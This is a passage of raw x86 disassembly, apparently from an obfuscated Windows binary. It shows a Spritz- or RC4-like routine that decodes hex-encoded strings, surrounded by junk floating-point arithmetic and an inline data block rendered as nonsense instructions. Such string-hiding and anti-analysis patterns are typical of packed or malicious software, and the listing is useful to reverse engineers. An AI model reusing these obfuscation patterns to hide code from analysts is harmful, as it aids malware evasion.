mov cl, byte [ebp + edx - 0x50cc]
mov byte [ebp + eax - 0x50cc], cl
movzx edx, byte [ebp - 0x326f]
movzx eax, byte [ebp - 0x3270]
mov cl, byte [ebp + edx - 0x50cc]
mov byte [ebp + eax - 0x50cc], cl
movzx edx, byte [ebp - 0x3262]
movzx eax, byte [ebp - 0x326f]
mov cl, byte [ebp + edx - 0x50cc]
mov byte [ebp + eax - 0x50cc], cl
movzx edx, byte [ebp - 0x3262]
mov al, byte [ebp - 0x32b9]
mov byte [ebp + edx - 0x50cc], al
movzx ecx, byte [ebp - 0x32b9]
movzx edx, byte [ebp + ecx - 0x50cc]
movzx eax, byte [ebp - 0x32b8]
add eax, edx
mov byte [ebp - 0x32b8], al
movzx ecx, byte [ebp - 0x32b7]
movzx edx, byte [ebp - 0x3270]
movzx eax, byte [ebp + edx - 0x50cc]
movzx edx, byte [ebp - 0x3262]
movzx edx, byte [ebp + edx - 0x50cc]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x50cc]
xor ecx, eax
movzx edx, byte [ebp - 0x326f]
movzx eax, byte [ebp + edx - 0x50cc]
movzx edx, byte [ebp - 0x3285]
movzx edx, byte [ebp + edx - 0x50cc]
add eax, edx
movzx edx, byte [ebp - 0x32b8]
movzx edx, byte [ebp + edx - 0x50cc]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x50cc]
movzx edx, byte [ebp + eax - 0x50cc]
xor ecx, edx
mov byte [ebp - 0x326f], cl
mov al, byte [ebp - 0x32b7]
mov byte [ebp - 0x3285], al
mov cl, byte [ebp - 0x326f]
mov byte [ebp - 0x330f], cl
cmp dword [ebp - 0x3340], 0
jle 0x437f12
movsx dx, byte [ebp - 0x330f]
mov eax, dword [ebp - 0x3340]
mov word [ebp + eax*2 - 0x2ba], dx
mov ecx, dword [ebp - 0x3340]
add ecx, 1
mov dword [ebp - 0x3340], ecx
mov edx, dword [ebp - 0x34f4]
add edx, 1
mov dword [ebp - 0x34f4], edx
mov eax, dword [ebp - 0x3340]
shl eax, 1
mov dword [ebp - 0x36ec], eax
mov ecx, dword [ebp - 0x36f0]
add ecx, dword [ebp - 0x36ec]
movzx edx, byte [ecx]
mov dword [ebp - 0x3614], edx
mov dword [ebp - 0x3618], 0xd2
mov eax, dword [ebp - 0x3340]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x36f4], ecx
mov edx, dword [ebp - 0x36f0]
add edx, dword [ebp - 0x36f4]
movzx eax, byte [edx]
mov dword [ebp - 0x361c], eax
mov dword [ebp - 0x3620], 0xc7
mov ecx, dword [ebp - 0x3614]
sub ecx, dword [ebp - 0x3618]
mov dword [ebp - 0x3624], ecx
mov edx, dword [ebp - 0x361c]
sub edx, dword [ebp - 0x3620]
mov dword [ebp - 0x3628], edx
mov eax, dword [ebp - 0x3624]
shl eax, 4
mov dword [ebp - 0x36f8], eax
mov ecx, dword [ebp - 0x3628]
mov dword [ebp - 0x36fc], ecx
mov edx, dword [ebp - 0x36f8]
or edx, dword [ebp - 0x36fc]
mov dword [ebp - 0x3700], edx
mov al, byte [ebp - 0x3700]
mov byte [ebp - 0x32b7], al
movzx ecx, byte [ebp - 0x3285]
mov dl, byte [ebp + ecx - 0x50cc]
mov byte [ebp - 0x32b9], dl
movzx eax, byte [ebp - 0x3262]
movzx ecx, byte [ebp + eax - 0x50cc]
movzx edx, byte [ebp - 0x3270]
add edx, ecx
mov byte [ebp - 0x3270], dl
mov al, byte [ebp - 0x3262]
add al, 1
mov byte [ebp - 0x3262], al
movzx ecx, byte [ebp - 0x3270]
movzx edx, byte [ebp - 0x3285]
mov al, byte [ebp + ecx - 0x50cc]
mov byte [ebp + edx - 0x50cc], al
movzx ecx, byte [ebp - 0x326f]
movzx edx, byte [ebp - 0x3270]
mov al, byte [ebp + ecx - 0x50cc]
mov byte [ebp + edx - 0x50cc], al
movzx ecx, byte [ebp - 0x3262]
movzx edx, byte [ebp - 0x326f]
mov al, byte [ebp + ecx - 0x50cc]
mov byte [ebp + edx - 0x50cc], al
movzx ecx, byte [ebp - 0x3262]
mov dl, byte [ebp - 0x32b9]
mov byte [ebp + ecx - 0x50cc], dl
movzx eax, byte [ebp - 0x32b9]
movzx ecx, byte [ebp + eax - 0x50cc]
movzx edx, byte [ebp - 0x32b8]
add edx, ecx
mov byte [ebp - 0x32b8], dl
movzx eax, byte [ebp - 0x32b7]
movzx ecx, byte [ebp - 0x3270]
movzx edx, byte [ebp + ecx - 0x50cc]
movzx ecx, byte [ebp - 0x3262]
movzx ecx, byte [ebp + ecx - 0x50cc]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x50cc]
xor eax, edx
movzx ecx, byte [ebp - 0x326f]
movzx edx, byte [ebp + ecx - 0x50cc]
movzx ecx, byte [ebp - 0x3285]
movzx ecx, byte [ebp + ecx - 0x50cc]
add edx, ecx
movzx ecx, byte [ebp - 0x32b8]
movzx ecx, byte [ebp + ecx - 0x50cc]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x50cc]
movzx ecx, byte [ebp + edx - 0x50cc]
xor eax, ecx
mov byte [ebp - 0x326f], al
mov dl, byte [ebp - 0x32b7]
mov byte [ebp - 0x3285], dl
mov al, byte [ebp - 0x326f]
mov byte [ebp - 0x330f], al
cmp dword [ebp - 0x3340], 0
jle 0x43816c
movsx cx, byte [ebp - 0x330f]
mov edx, dword [ebp - 0x3340]
mov word [ebp + edx*2 - 0x2ba], cx
mov eax, 2
imul ecx, eax, 0x28
mov dword [ebp - 0x5110], ecx
cmp dword [ebp - 0x5110], 0x52
jae 0x438185
jmp 0x43818a
call fcn.009f5b17
xor edx, edx
mov eax, dword [ebp - 0x5110]
mov word [ebp + eax - 0x2b8], dx
jmp 0x4381f0
mov dword [ebp - 0x4954], 0
jmp 0x4381b7
mov ecx, dword [ebp - 0x4954]
add ecx, 1
mov dword [ebp - 0x4954], ecx
cmp dword [ebp - 0x4954], 0x29
jge 0x4381f0
mov edx, dword [ebp - 0x4954]
shl edx, 1
mov dword [ebp - 0x510c], edx
cmp dword [ebp - 0x510c], 0x52
jae 0x4381d9
jmp 0x4381de
call fcn.009f5b17
xor eax, eax
mov ecx, dword [ebp - 0x510c]
mov word [ebp + ecx - 0x2b8], ax
jmp 0x4381a8
push 0
push 1
mov edx, dword [ebp - 0x4590]
push edx
lea eax, [ebp - 0x200]
push eax
push 0
lea ecx, [ebp - 0x2b8]
push ecx
movzx edx, byte [ebp + 0xc]
push edx
call fcn.00428c90
add esp, 0x1c
mov dword [ebp - 0x3180], 0
mov dword [ebp - 0x3184], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x4744], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x4714], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x4714], xmm0
jmp 0x438267
movsd xmm0, qword [ebp - 0x4714]
addsd xmm0, qword [0xa71360]
movsd qword [ebp - 0x4714], xmm0
movsd xmm0, qword [0xa71988]
comisd xmm0, xmmword [ebp - 0x4714]
jbe 0x438318
movsd xmm0, qword [0xa71600]
mulsd xmm0, qword [ebp - 0x4714]
mulsd xmm0, qword [ebp - 0x4714]
movsd xmm1, qword [ebp - 0x4714]
mulsd xmm1, qword [ebp - 0x4714]
subsd xmm0, xmm1
movsd xmm1, qword [0xa71410]
mulsd xmm1, qword [ebp - 0x4714]
mulsd xmm1, qword [ebp - 0x4714]
addsd xmm1, qword [0xa71450]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x4744]
movsd qword [ebp - 0x4744], xmm0
movsd xmm0, qword [ebp - 0x4744]
comisd xmm0, xmmword [0xa715d0]
jbe 0x438313
movsd xmm0, qword [0xa712e0]
mulsd xmm0, qword [ebp - 0x4714]
movsd xmm1, qword [ebp - 0x4744]
subsd xmm1, xmm0
movsd qword [ebp - 0x4744], xmm1
jmp 0x43824f
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x4744]
jbe 0x438394
cmp al, 0x44
xor eax, 0x39274075
dec ebp
sub al, 0x33
jp 0x43838a
jbe 0x438355
and byte [ebp + 0x7c], bh
inc ecx
outsd dx, dword [esi]
jl 0x438362
cmp esp, dword [ecx - 0x55c455c0]
inc esi
cmpsb byte [esi], byte es:[edi]
cmp ebp, dword [ebp - 0x54be5abf]
stosb byte es:[edi], al
inc ecx
lodsd eax, dword [esi]
inc esp
lodsb al, byte [esi]
cmp ah, byte [eax - 0x5cba57c5]
cmp ch, byte [ebp - 0x54bb53c0]
mov dword [0xac40ad3a], eax
inc esp
stosd dword es:[edi], eax
inc edi
test al, 0x44
lodsd eax, dword [esi]
inc edi
stosd dword es:[edi], eax
cmp byte [ebp - 0x53bd54c1], ch
cmp ch, byte [esi - 0x50c05fbe]
cmp byte [ebp - 0x50bb52bd], ch
inc edi
lodsd eax, dword [esi]
inc ecx
test eax, 0xac3cad46
inc eax
test al, 0x41
mov al, byte [0xa146af3f]
inc edi
cmpsd dword [esi], dword es:[edi]
inc esp
scasd eax, dword es:[edi]
inc esp
cmpsd dword [esi], dword es:[edi]
cmp dword [eax - 0x16c350bd], esp
and byte [ecx], ah
add byte [eax], al
mov dword [ebp - 0x3180], 0x43833d
mov dword [ebp - 0x3184], 0x438325
mov eax, dword [ebp - 0x3180]
mov dword [ebp - 0x39cc], eax
mov ecx, dword [ebp - 0x3184]
mov dword [ebp - 0x6394], ecx
mov byte [ebp - 0x3fed], 0x1c
mov dword [ebp - 0x3838], 0
jmp 0x4383e2
mov edx, dword [ebp - 0x3838]
add edx, 1
mov dword [ebp - 0x3838], edx
cmp dword [ebp - 0x3838], 0x100
jae 0x438403
mov eax, dword [ebp - 0x3838]
mov cl, byte [ebp - 0x3838]
mov byte [ebp + eax - 0x58c4], cl
jmp 0x4383d3
mov dword [ebp - 0x44d8], 0
mov byte [ebp - 0x335c], 0
mov dword [ebp - 0x3838], 0xff
jmp 0x43842f
mov edx, dword [ebp - 0x3838]
sub edx, 1
mov dword [ebp - 0x3838], edx
cmp dword [ebp - 0x3838], 0
jbe 0x43869f
mov dword [ebp - 0x4b6c], 0
mov dword [ebp - 0x4958], 1
mov eax, dword [ebp - 0x4958]
cmp eax, dword [ebp - 0x3838]
jae 0x438470
mov ecx, dword [ebp - 0x4958]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x4958], edx
jmp 0x438450
mov eax, dword [ebp - 0x44d8]
mov dword [ebp - 0x5108], eax
cmp dword [ebp - 0x5108], 3
ja case.default.0x43848f
mov ecx, dword [ebp - 0x5108]
jmp dword [ecx*4 + 0x46afe8]
movzx edx, byte [ebp - 0x335c]
movzx ebx, byte [ebp + edx - 0x58c4]
movsd xmm0, qword [ebp - 0x4744]
call fcn.009f5ff0
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x335c], bl
jmp 0x438578
movzx eax, byte [ebp - 0x335c]
movzx ebx, byte [ebp + eax - 0x58c4]
movsd xmm0, qword [ebp - 0x4744]
call fcn.009f5ff0
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x335c], bl
jmp 0x438578
movzx ecx, byte [ebp - 0x335c]
movzx ebx, byte [ebp + ecx - 0x58c4]
movsd xmm0, qword [ebp - 0x4744]
call fcn.009f5ff0
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x335c], bl
jmp 0x438578
movzx edx, byte [ebp - 0x335c]
movzx ebx, byte [ebp + edx - 0x58c4]
movsd xmm0, qword [ebp - 0x4744]
call fcn.009f5ff0
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x335c], bl
jmp 0x438578
movzx eax, byte [ebp - 0x335c]
movzx ecx, byte [ebp + eax - 0x58c4]
mov edx, dword [ebp - 0x6394]
add edx, dword [ebp - 0x44d8]
movzx eax, byte [edx - 4]
add ecx, eax
mov byte [ebp - 0x335c], cl
mov ecx, dword [ebp - 0x44d8]
add ecx, 1
mov dword [ebp - 0x44d8], ecx
movzx edx, byte [ebp - 0x3fed]
cmp dword [ebp - 0x44d8], edx
jb 0x4385b6
mov dword [ebp - 0x44d8], 0
movzx eax, byte [ebp - 0x3fed]
movzx ecx, byte [ebp - 0x335c]
add ecx, eax
mov byte [ebp - 0x335c], cl
movzx edx, byte [ebp - 0x335c]
and edx, dword [ebp - 0x4958]
mov dword [ebp - 0x4258], edx
mov eax, dword [ebp - 0x4b6c]
add eax, 1
mov dword [ebp - 0x4b6c], eax
cmp dword [ebp - 0x4b6c], 0xb
jbe 0x4385f5
mov eax, dword [ebp - 0x4258]
xor edx, edx
div dword [ebp - 0x3838]
mov dword [ebp - 0x4258], edx
mov ecx, dword [ebp - 0x4258]
cmp ecx, dword [ebp - 0x3838]
ja 0x438470
mov edx, dword [ebp - 0x3838]
cmp edx, dword [ebp - 0x4258]
je 0x43869a
mov eax, dword [ebp - 0x4258]
movzx ecx, byte [ebp + eax - 0x58c4]
mov edx, dword [ebp - 0x3838]
movzx eax, byte [ebp + edx - 0x58c4]
xor eax, ecx
mov ecx, dword [ebp - 0x3838]
mov byte [ebp + ecx - 0x58c4], al
mov edx, dword [ebp - 0x3838]
movzx eax, byte [ebp + edx - 0x58c4]
mov ecx, dword [ebp - 0x4258]
movzx edx, byte [ebp + ecx - 0x58c4]
xor edx, eax
mov eax, dword [ebp - 0x4258]
mov byte [ebp + eax - 0x58c4], dl
mov ecx, dword [ebp - 0x4258]
movzx edx, byte [ebp + ecx - 0x58c4]
mov eax, dword [ebp - 0x3838]
movzx ecx, byte [ebp + eax - 0x58c4]
xor ecx, edx
mov edx, dword [ebp - 0x3838]
mov byte [ebp + edx - 0x58c4], cl
jmp 0x438420
mov eax, 1
shl eax, 0
mov cl, byte [ebp + eax - 0x58c4]
mov byte [ebp - 0x3271], cl
mov edx, 1
imul eax, edx, 3
mov cl, byte [ebp + eax - 0x58c4]
mov byte [ebp - 0x3286], cl
mov edx, 1
imul eax, edx, 5
mov cl, byte [ebp + eax - 0x58c4]
mov byte [ebp - 0x32ed], cl
mov edx, 1
imul eax, edx, 7
mov cl, byte [ebp + eax - 0x58c4]
mov byte [ebp - 0x3296], cl
movzx edx, byte [ebp - 0x335c]
mov al, byte [ebp + edx - 0x58c4]
mov byte [ebp - 0x32ab], al
mov dword [ebp - 0x5104], 0x52
cmp dword [ebp - 0x5104], 2
jle 0x43a460
mov ecx, dword [ebp - 0x5104]
and ecx, 1
jne 0x43a460
mov dword [ebp - 0x3398], 0
mov dword [ebp - 0x3604], 0
mov edx, dword [ebp - 0x3604]
add edx, 1
mov dword [ebp - 0x3604], edx
mov dword [ebp - 0x39c8], 0
mov eax, dword [ebp - 0x3398]
shl eax, 1
mov dword [ebp - 0x39c8], eax
mov dword [ebp - 0x3880], 0
mov ecx, dword [ebp - 0x39cc]
add ecx, dword [ebp - 0x39c8]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x3880]
mov dword [ebp - 0x3880], edx
mov dword [ebp - 0x3884], 0
mov eax, dword [ebp - 0x3884]
add eax, 0xa0
mov dword [ebp - 0x3884], eax
mov dword [ebp - 0x39d0], 0
mov ecx, dword [ebp - 0x3398]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x39d0], edx
mov dword [ebp - 0x3888], 0
mov eax, dword [ebp - 0x39cc]
add eax, dword [ebp - 0x39d0]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x3888]
mov dword [ebp - 0x3888], ecx
mov dword [ebp - 0x388c], 0
mov edx, dword [ebp - 0x388c]
add edx, 0x38
mov dword [ebp - 0x388c], edx
mov dword [ebp - 0x3890], 0
mov eax, dword [ebp - 0x3880]
sub eax, dword [ebp - 0x3884]
add eax, dword [ebp - 0x3890]
mov dword [ebp - 0x3890], eax
mov dword [ebp - 0x3894], 0
mov ecx, dword [ebp - 0x3888]
sub ecx, dword [ebp - 0x388c]
add ecx, dword [ebp - 0x3894]
mov dword [ebp - 0x3894], ecx
mov dword [ebp - 0x39d4], 0
mov edx, dword [ebp - 0x3890]
shl edx, 4
mov dword [ebp - 0x39d4], edx
mov dword [ebp - 0x39d8], 0
mov eax, dword [ebp - 0x3894]
mov dword [ebp - 0x39d8], eax
mov dword [ebp - 0x3a34], 0
mov ecx, dword [ebp - 0x39d4]
or ecx, dword [ebp - 0x39d8]
mov dword [ebp - 0x3a34], ecx
mov byte [ebp - 0x32ee], 0
mov dl, byte [ebp - 0x3a34]
mov byte [ebp - 0x32ee], dl
mov byte [ebp - 0x32ec], 0
movzx eax, byte [ebp - 0x32ab]
mov cl, byte [ebp + eax - 0x58c4]
mov byte [ebp - 0x32ec], cl
movzx edx, byte [ebp - 0x3271]
movzx eax, byte [ebp + edx - 0x58c4]
movzx ecx, byte [ebp - 0x3286]
add ecx, eax
mov byte [ebp - 0x3286], cl
mov dl, byte [ebp - 0x3271]
add dl, 1
mov byte [ebp - 0x3271], dl
movsd xmm0, qword [0xa71f00]
movsd qword [ebp - 0x3694], xmm0
movsd xmm0, qword [0xa71d90]
movsd qword [ebp - 0x3f90], xmm0
movsd xmm0, qword [0xa71b58]
movsd qword [ebp - 0x400c], xmm0
movsd xmm0, qword [0xa718b0]
movsd qword [ebp - 0x3df0], xmm0
movsd xmm0, qword [ebp - 0x3694]
addsd xmm0, qword [ebp - 0x3df0]
movsd qword [ebp - 0x3694], xmm0
movsd xmm0, qword [ebp - 0x400c]
subsd xmm0, qword [ebp - 0x3df0]
movsd qword [ebp - 0x400c], xmm0
movsd xmm0, qword [ebp - 0x400c]
mulsd xmm0, qword [ebp - 0x3df0]
movsd qword [ebp - 0x400c], xmm0
movsd xmm0, qword [ebp - 0x3f90]
addsd xmm0, qword [ebp - 0x3df0]
movsd qword [ebp - 0x3f90], xmm0
movsd xmm0, qword [ebp - 0x400c]
comisd xmm0, xmmword [ebp - 0x3df0]
jbe 0x438a21
movsd xmm0, qword [ebp - 0x3694]
addsd xmm0, qword [ebp - 0x400c]
movsd qword [ebp - 0x3694], xmm0
movsd xmm0, qword [ebp - 0x3df0]
addsd xmm0, qword [ebp - 0x3f90]
movsd qword [ebp - 0x3df0], xmm0
movsd xmm0, qword [ebp - 0x3694]
subsd xmm0, qword [ebp - 0x400c]
movsd qword [ebp - 0x3694], xmm0
movsd xmm0, qword [ebp - 0x3df0]
addsd xmm0, qword [ebp - 0x3f90]
movsd qword [ebp - 0x3df0], xmm0
movzx eax, byte [ebp - 0x3286]
movzx ecx, byte [ebp - 0x32ab]
mov dl, byte [ebp + eax - 0x58c4]
mov byte [ebp + ecx - 0x58c4], dl
jmp 0x438cec
movsd xmm0, qword [ebp - 0x3df0]
divsd xmm0, qword [ebp - 0x3f90]
movsd qword [ebp - 0x3df0], xmm0
movsd xmm0, qword [ebp - 0x3694]
divsd xmm0, qword [ebp - 0x400c]
movsd qword [ebp - 0x3694], xmm0
movsd xmm0, qword [ebp - 0x400c]
divsd xmm0, qword [ebp - 0x3694]
movsd qword [ebp - 0x400c], xmm0
movsd xmm0, qword [ebp - 0x3694]
divsd xmm0, qword [ebp - 0x400c]
movsd qword [ebp - 0x3694], xmm0
movsd xmm0, qword [ebp - 0x3f90]
subsd xmm0, qword [ebp - 0x400c]
movsd qword [ebp - 0x3f90], xmm0
movsd xmm0, qword [ebp - 0x3df0]
mulsd xmm0, qword [ebp - 0x3694]
movsd qword [ebp - 0x3df0], xmm0
movsd xmm0, qword [ebp - 0x3694]
addsd xmm0, qword [ebp - 0x3f90]
movsd qword [ebp - 0x3694], xmm0
movsd xmm0, qword [ebp - 0x3694]
divsd xmm0, qword [ebp - 0x3f90]
movsd qword [ebp - 0x3694], xmm0
movsd xmm0, qword [ebp - 0x3694]
comisd xmm0, xmmword [ebp - 0x400c]
jbe 0x438b58
movsd xmm0, qword [ebp - 0x3694]
addsd xmm0, qword [ebp - 0x3f90]
movsd qword [ebp - 0x3694], xmm0
movsd xmm0, qword [ebp - 0x3df0]
addsd xmm0, qword [ebp - 0x3694]
movsd qword [ebp - 0x3df0], xmm0
movsd xmm0, qword [ebp - 0x3694]
mulsd xmm0, qword [ebp - 0x3f90]
movsd qword [ebp - 0x3694], xmm0
movsd xmm0, qword [ebp - 0x3694]
addsd xmm0, qword [ebp - 0x3f90]
movsd qword [ebp - 0x3694], xmm0
jmp 0x438cec
movsd xmm0, qword [ebp - 0x400c]
mulsd xmm0, qword [ebp - 0x3694]
movsd qword [ebp - 0x400c], xmm0
movsd xmm0, qword [ebp - 0x3694]
divsd xmm0, qword [ebp - 0x400c]
movsd qword [ebp - 0x3694], xmm0
movsd xmm0, qword [ebp - 0x3df0]
divsd xmm0, qword [ebp - 0x3f90]
movsd qword [ebp - 0x3df0], xmm0
movsd xmm0, qword [ebp - 0x3694]
subsd xmm0, qword [ebp - 0x400c]
movsd qword [ebp - 0x3694], xmm0
movsd xmm0, qword [ebp - 0x3694]
addsd xmm0, qword [ebp - 0x3f90]
movsd qword [ebp - 0x3694], xmm0
movsd xmm0, qword [ebp - 0x3f90]
mulsd xmm0, qword [ebp - 0x400c]
movsd qword [ebp - 0x3f90], xmm0
movsd xmm0, qword [ebp - 0x3df0]
subsd xmm0, qword [ebp - 0x3694]
movsd qword [ebp - 0x3df0], xmm0
movsd xmm0, qword [ebp - 0x400c]
subsd xmm0, qword [ebp - 0x3df0]
movsd qword [ebp - 0x400c], xmm0
movsd xmm0, qword [ebp - 0x3df0]
comisd xmm0, xmmword [ebp - 0x3f90]
jbe 0x438c8c
movsd xmm0, qword [ebp - 0x3694]
addsd xmm0, qword [ebp - 0x400c]
movsd qword [ebp - 0x3694], xmm0
movsd xmm0, qword [ebp - 0x3694]
addsd xmm0, qword [ebp - 0x400c]
movsd qword [ebp - 0x3694], xmm0
movsd xmm0, qword [ebp - 0x3f90]
mulsd xmm0, qword [ebp - 0x3df0]
movsd qword [ebp - 0x3f90], xmm0
movsd xmm0, qword [ebp - 0x3f90]
addsd xmm0, qword [ebp - 0x3df0]
movsd qword [ebp - 0x3f90], xmm0
jmp 0x438cec
movsd xmm0, qword [ebp - 0x3df0]
divsd xmm0, qword [ebp - 0x3694]
movsd qword [ebp - 0x3df0], xmm0
movsd xmm0, qword [ebp - 0x3df0]
subsd xmm0, qword [ebp - 0x3694]
movsd qword [ebp - 0x3df0], xmm0
movsd xmm0, qword [ebp - 0x3694]
mulsd xmm0, qword [ebp - 0x3f90]
movsd qword [ebp - 0x3694], xmm0
movsd xmm0, qword [ebp - 0x3694]
addsd xmm0, qword [ebp - 0x3f90]
movsd qword [ebp - 0x3694], xmm0
movzx eax, byte [ebp - 0x3296]
movzx ecx, byte [ebp - 0x3286]
mov dl, byte [ebp + eax - 0x58c4]
mov byte [ebp + ecx - 0x58c4], dl
movzx eax, byte [ebp - 0x3271]
movzx ecx, byte [ebp - 0x3296]
mov dl, byte [ebp + eax - 0x58c4]
mov byte [ebp + ecx - 0x58c4], dl
movzx eax, byte [ebp - 0x3271]
mov cl, byte [ebp - 0x32ec]
mov byte [ebp + eax - 0x58c4], cl
movzx edx, byte [ebp - 0x32ec]
movzx eax, byte [ebp + edx - 0x58c4]
movzx ecx, byte [ebp - 0x32ed]
add ecx, eax
mov byte [ebp - 0x32ed], cl
movzx edx, byte [ebp - 0x32ee]
movzx eax, byte [ebp - 0x3286]
movzx ecx, byte [ebp + eax - 0x58c4]
movzx eax, byte [ebp - 0x3271]
movzx eax, byte [ebp + eax - 0x58c4]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x58c4]
xor edx, ecx
movzx eax, byte [ebp - 0x3296]
movzx ecx, byte [ebp + eax - 0x58c4]
movzx eax, byte [ebp - 0x32ab]
movzx eax, byte [ebp + eax - 0x58c4]
add ecx, eax
movzx eax, byte [ebp - 0x32ed]
movzx eax, byte [ebp + eax - 0x58c4]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x58c4]
movzx eax, byte [ebp + ecx - 0x58c4]
xor edx, eax
mov byte [ebp - 0x3296], dl
mov cl, byte [ebp - 0x32ee]
mov byte [ebp - 0x32ab], cl
mov dl, byte [ebp - 0x3296]
mov byte [ebp - 0x3326], dl
cmp dword [ebp - 0x3398], 0
jle 0x438e13
movsx ax, byte [ebp - 0x3326]
mov ecx, dword [ebp - 0x3398]
mov word [ebp + ecx*2 - 0x35a], ax
mov edx, dword [ebp - 0x3398]
add edx, 1
mov dword [ebp - 0x3398], edx
mov eax, dword [ebp - 0x3604]
add eax, 1
mov dword [ebp - 0x3604], eax
mov ecx, dword [ebp - 0x3398]
shl ecx, 1
mov dword [ebp - 0x39c8], ecx
mov edx, dword [ebp - 0x39cc]
add edx, dword [ebp - 0x39c8]
movzx eax, byte [edx]
mov dword [ebp - 0x3880], eax
mov dword [ebp - 0x3884], 0xa0
mov ecx, dword [ebp - 0x3398]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x39d0], edx
mov eax, dword [ebp - 0x39cc]
add eax, dword [ebp - 0x39d0]
movzx ecx, byte [eax]
mov dword [ebp - 0x3888], ecx
mov dword [ebp - 0x388c], 0x38
mov edx, dword [ebp - 0x3880]
sub edx, dword [ebp - 0x3884]
mov dword [ebp - 0x3890], edx
mov eax, dword [ebp - 0x3888]
sub eax, dword [ebp - 0x388c]
mov dword [ebp - 0x3894], eax
mov ecx, dword [ebp - 0x3890]
shl ecx, 4
mov dword [ebp - 0x39d4], ecx
mov edx, dword [ebp - 0x3894]
mov dword [ebp - 0x39d8], edx
mov eax, dword [ebp - 0x39d4]
or eax, dword [ebp - 0x39d8]
mov dword [ebp - 0x3a34], eax
mov cl, byte [ebp - 0x3a34]
mov byte [ebp - 0x32ee], cl
movzx edx, byte [ebp - 0x32ab]
mov al, byte [ebp + edx - 0x58c4]
mov byte [ebp - 0x32ec], al
movzx ecx, byte [ebp - 0x3271]
movzx edx, byte [ebp + ecx - 0x58c4]
movzx eax, byte [ebp - 0x3286]
add eax, edx
mov byte [ebp - 0x3286], al
mov cl, byte [ebp - 0x3271]
add cl, 1
mov byte [ebp - 0x3271], cl
movzx edx, byte [ebp - 0x3286]
movzx eax, byte [ebp - 0x32ab]
mov cl, byte [ebp + edx - 0x58c4]
mov byte [ebp + eax - 0x58c4], cl
movzx edx, byte [ebp - 0x3296]
movzx eax, byte [ebp - 0x3286]
mov cl, byte [ebp + edx - 0x58c4]
mov byte [ebp + eax - 0x58c4], cl
movzx edx, byte [ebp - 0x3271]
movzx eax, byte [ebp - 0x3296]
mov cl, byte [ebp + edx - 0x58c4]
mov byte [ebp + eax - 0x58c4], cl
movzx edx, byte [ebp - 0x3271]
mov al, byte [ebp - 0x32ec]
mov byte [ebp + edx - 0x58c4], al
movzx ecx, byte [ebp - 0x32ec]
movzx edx, byte [ebp + ecx - 0x58c4]
movzx eax, byte [ebp - 0x32ed]
add eax, edx
mov byte [ebp - 0x32ed], al
movzx ecx, byte [ebp - 0x32ee]
movzx edx, byte [ebp - 0x3286]
movzx eax, byte [ebp + edx - 0x58c4]
movzx edx, byte [ebp - 0x3271]
movzx edx, byte [ebp + edx - 0x58c4]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x58c4]
xor ecx, eax
movzx edx, byte [ebp - 0x3296]
movzx eax, byte [ebp + edx - 0x58c4]
movzx edx, byte [ebp - 0x32ab]
movzx edx, byte [ebp + edx - 0x58c4]
add eax, edx
movzx edx, byte [ebp - 0x32ed]
movzx edx, byte [ebp + edx - 0x58c4]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x58c4]
movzx edx, byte [ebp + eax - 0x58c4]
xor ecx, edx
mov byte [ebp - 0x3296], cl
mov al, byte [ebp - 0x32ee]
mov byte [ebp - 0x32ab], al
mov cl, byte [ebp - 0x3296]
mov byte [ebp - 0x3326], cl
cmp dword [ebp - 0x3398], 0
jle 0x43906c
movsx dx, byte [ebp - 0x3326]
mov eax, dword [ebp - 0x3398]
mov word [ebp + eax*2 - 0x35a], dx
mov ecx, dword [ebp - 0x3604]
add ecx, 0x11
mov dword [ebp - 0x3604], ecx
mov edx, dword [ebp - 0x3398]
add edx, 1
mov dword [ebp - 0x4b70], edx
jmp 0x43909b
mov eax, dword [ebp - 0x4b70]
add eax, 1
mov dword [ebp - 0x4b70], eax
mov ecx, dword [ebp - 0x4b70]
cmp ecx, dword [ebp - 0x3604]
jge 0x43964a
mov edx, dword [ebp - 0x3398]
add edx, 1
mov dword [ebp - 0x3398], edx
mov eax, dword [ebp - 0x3398]
shl eax, 1
mov dword [ebp - 0x39c8], eax
mov ecx, dword [ebp - 0x39cc]
add ecx, dword [ebp - 0x39c8]
movzx edx, byte [ecx]
mov dword [ebp - 0x3880], edx
mov dword [ebp - 0x3884], 0xa0
mov eax, dword [ebp - 0x3398]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x39d0], ecx
mov edx, dword [ebp - 0x39cc]
add edx, dword [ebp - 0x39d0]
movzx eax, byte [edx]
mov dword [ebp - 0x3888], eax
mov dword [ebp - 0x388c], 0x38
mov ecx, dword [ebp - 0x3880]
sub ecx, dword [ebp - 0x3884]
mov dword [ebp - 0x3890], ecx
mov edx, dword [ebp - 0x3888]
sub edx, dword [ebp - 0x388c]
mov dword [ebp - 0x3894], edx
mov eax, dword [ebp - 0x3890]
shl eax, 4
mov dword [ebp - 0x39d4], eax
mov ecx, dword [ebp - 0x3894]
mov dword [ebp - 0x39d8], ecx
mov edx, dword [ebp - 0x39d4]
or edx, dword [ebp - 0x39d8]
mov dword [ebp - 0x3a34], edx
mov al, byte [ebp - 0x3a34]
mov byte [ebp - 0x32ee], al
movzx ecx, byte [ebp - 0x32ab]
mov dl, byte [ebp + ecx - 0x58c4]
mov byte [ebp - 0x32ec], dl
